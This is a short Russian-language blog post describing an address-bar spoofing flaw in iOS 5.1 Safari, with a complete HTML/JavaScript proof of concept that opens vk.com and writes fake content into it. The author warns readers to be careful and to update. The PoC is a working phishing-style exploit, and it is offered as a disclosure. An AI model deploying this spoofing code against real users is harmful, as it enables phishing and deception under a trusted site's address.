Уязвимость в iOS 5.1

в 16:13, , рубрики: bug, iOS, ipad, iphone, баг, информационная безопасность, разработка под iOS, уязвимость, метки: , , , , ,

Данная тема была уже затронута здесь: http://habrahabr.ru/post/140743/

Немного переписал код и вот что у меня получилось:

Скриншоты:
image

image

Сам код:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html>
<body>
	<center><a href="http://vk.com" onclick="poc()"><h1>Переход на vk.com</h1></a></center>
	<script type="text/javascript">
		function poc() 
		{
			win=window.open('http://vk.com');
			win.document.write("<center><h1>Спуфинг адресной строки</h1></center>");
			return false;
		}
	</script>
</body>
</html>	

Поведение: открывает новую вкладку с поддельной страницей, а в старой открывает сайт, куда указывает ссылка.
На iPhone заметить открытие новой страницы в старой вкладке довольно сложно, т.к. она скрывается с глаз. На iPad это сделать легче — после открытия новой вкладки соседняя подозрительно обновляется на сайт, на который ты вроде как перешел только что.

Вывод: ходить по ссылкам нужно крайне аккуратно, иначе можно нарваться на поддельную страницу, обнаружить которую с i-устройства можно лишь используя закладку с js скриптом, позволяющим просмотреть исходный код страницы или обладая супервниманием :) Ну и, конечно же, вовремя обновлять систему.

UPD: заменил хостинг картинок.

Автор: zobov

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js